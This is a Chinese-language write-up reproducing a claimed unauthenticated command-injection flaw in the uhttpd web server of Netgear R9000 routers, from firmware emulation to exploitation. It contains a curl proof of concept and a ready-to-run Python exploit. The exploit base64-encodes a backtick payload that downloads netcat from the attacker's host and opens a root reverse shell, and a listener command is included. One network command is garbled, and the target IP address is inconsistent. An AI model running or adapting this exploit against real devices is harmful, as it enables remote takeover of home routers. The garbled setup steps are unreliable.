固件版本:R9000-V1.0.4.26HF / V1.0.4.26
影响组件:uhttpd(OpenWrt 自研轻量级 Web Server)
漏洞类型:HTTP Basic 认证头命令注入 → 未授权远程代码执行(Unauthenticated RCE)
严重程度:Critical
漏洞原理简述:
R9000 使用 uhttpd 作为 Web 服务进程,在处理 HTTP Basic Authorization 头时存在一处典型的“解码后直接拼接到 system()”的经典错误:
uh_cgi_auth_check() →
base64_decode(Authorization: Basic X) →
username:password 形式字符串 →
直接拼接到 system("usockc " + decoded_str)
由于没有对 :之后的内容做任何过滤或长度限制,导致攻击者可通过在 password 字段注入反引号 cmd 的方式实现任意命令执行。
固件获取与解包
官方下载地址(任选其一):- https://www.netgear.com/support/product/r9000/ - https://kb.netgear.com/000060347/R9000-Firmware-Version-1-0-4-26固件文件:`R9000-V1.0.4.26.img` 使用 binwalk 解包:```bashbinwalk -Me R9000-V1.0.4.26.img解包后得到 squashfs-root 和其他目录
固件模拟环境搭建(推荐chroot方式,更稳定)
方案一:FirmAE(全自动,适合初学者)
./run.sh -d R9000 ./R9000-V1.0.4.26.img
方案二:手动 QEMU + chroot1
主机网络配置sudo tunctl -t tap0sudo ifconfig tap0 192.168.0.4/24 upecho 1 | sudo tee /proc/sys/net/ipv4/ip_forward > /dev/nullsudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE # ens33 改成你的外网口sudo iptables -A FORWARD -i tap0 -j ACCEPTsudo iptables -A FORWARD -o tap0 -j ACCEPT
2. 启动 QEMU ARM 虚拟机
(vexpress-a9)qemu-system-arm \ -M vexpress-a9 \ -kernel ./zImage \ -initrd ./initrd.img \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic,vlan=0 -net tap,ifname=tap0,script=no,downscript=no \ -nographic
可使用预编译好的 ARM Debian/Ubuntu 镜像,也可直接用 FirmAE 提供的镜像。
3. 虚拟机内网络配置
ifconfig eth0 192.Concurrent 192.168.0.2 netmask 255.255.255.0route add default gw 192.168.0.4
4. 传输并挂载固件文件系统
在主机打包 squashfs-root:cd squashfs-root && tar -czf ../r.tar.gz . python3 -m http.server 8000
在虚拟机中下载并解压:wget http://192.168.0.4:8000/r.tar.gztar -xzf r.tar.gz挂载必要文件系统并 chroot:
mount -o bind /dev ./squashfs-root/devmount -t proc none ./squashfs-root/procmount -t sysfs none ./squashfs-root/sysmkdir -p ./squashfs-root/tmp/var/runchroot squashfs-root /bin/sh
5. 启动 uhttpd(模拟真实路由器 Web 服务)
/usr/sbin/uhttpd -f -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
不需要证书参数,直接前台运行即可。
此时浏览器访问 http://192.168.0.3/cgi-bin/ 应显示登录页面或 401,说明环境搭建成功。
漏洞验证(手动)
使用 curl 构造恶意的 Authorization 头:
echo -n 'admin:`whoami`' | base64# 输出:YWRtaW46YHdob2FtaWA=curl -v "http://192.168.0.3/cgi-bin/" \ -H "Authorization: Basic YWRtaW46YHdob2FtaWA="
服务器返回 200,且日志中可见执行了 whoami → root,证明命令注入成功。或者使用 burp
获取反弹Shell(完整利用链)
1. 准备 ARM 版 netcat(已静态编译)
主机开启服务:
python3 -m http.server 8000# 放入 nc 文件(ARM little-endian 静态编译)
2. 一键 Python Exp
#!/usr/bin/env python3# -*- coding: utf-8 -*-
# Netgear R9000 uhttpd RCE Exploit
# CVE-2019-20781
# Author: YourName
import requests
import base64
import time
target = "http://192.168.0.2/cgi-bin/" host_ip = "192.168.0.4"
# 你的攻击机ip
lport = 4444
# 多行命令用 \n 拼接,反引号内执行
payload = f"wget http://{host_ip}:8000/nc -O /tmp/nc; " \
f"chmod +x /tmp/nc; " \
f"/tmp/nc {host_ip} {lport} -e /bin/sh"
cmd = "admin:`" + payload + "`"
b64 =base64.b64encode(cmd.encode()).decode()
headers = {
"Authorization": "Basic " + b64, "User-Agent": "Mozilla/5.0", "Connection": "close"
}
print("[*] Sending payload...")
print("[*] Payload (b64):", b64)
print("[*] Waiting for reverse shell on port", lport)
try:
requests.get(target, headers=headers, timeout=15)
except:
pass
# 给点时间下载执行time.sleep(3)
print("[+] Done. Check your listener!")
执行脚本:
python3 exp.py
攻击机监听:
nc -lvnp 4444
成功获得 root shell!
修复建议:
Netgear 已于 V1.0.4.28+ 版本修复该漏洞,建议所有用户升级。
· 若无法升级,可在防火墙层拦截 /cgi-bin/ 路径或禁用 uhttpd。至此,Netgear R9000 高危命令执行漏洞完整复现结束。 |